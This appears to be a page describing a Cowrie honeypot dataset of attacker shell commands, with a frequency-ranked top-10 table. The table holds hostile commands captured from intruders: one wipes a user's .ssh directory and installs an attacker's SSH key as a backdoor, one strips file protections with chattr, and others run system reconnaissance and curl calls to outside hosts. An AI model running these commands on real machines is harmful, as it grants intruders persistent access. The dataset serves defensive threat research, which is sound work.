commands.txt (447 unique · 66,000 events)
One command per line, most-observed first. Two header lines prefixed #.
⚡ Attacker commands
Every unique shell command Cowrie captured, normalised (whitespace collapsed) and sorted by how many times we observed it — real TTPs float to the top, incidental fragments sink.
commands.tsv
Same ranking with observation counts. count<TAB>command format, ideal for frequency analysis.
Top 10 most-run commands
| Count | Command |
|---|---|
| 33039 | echo -e "\x6F\x6B" |
| 6738 | curl -o /dev/null https://ladamoscow.com/ |
| 6695 | curl -o /dev/null http://m.news.cn/ |
| 3293 | cd ~; chattr -ia .ssh; lockr -ia .ssh |
| 3248 | cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK… |
| 2895 | curl -o /dev/null https://ms.unkjd.games |
| 2507 | uname -s -v -n -r -m |
| 381 | uname -a |
| 320 | (seconds%3600 |
| 320 | (seconds%86400 |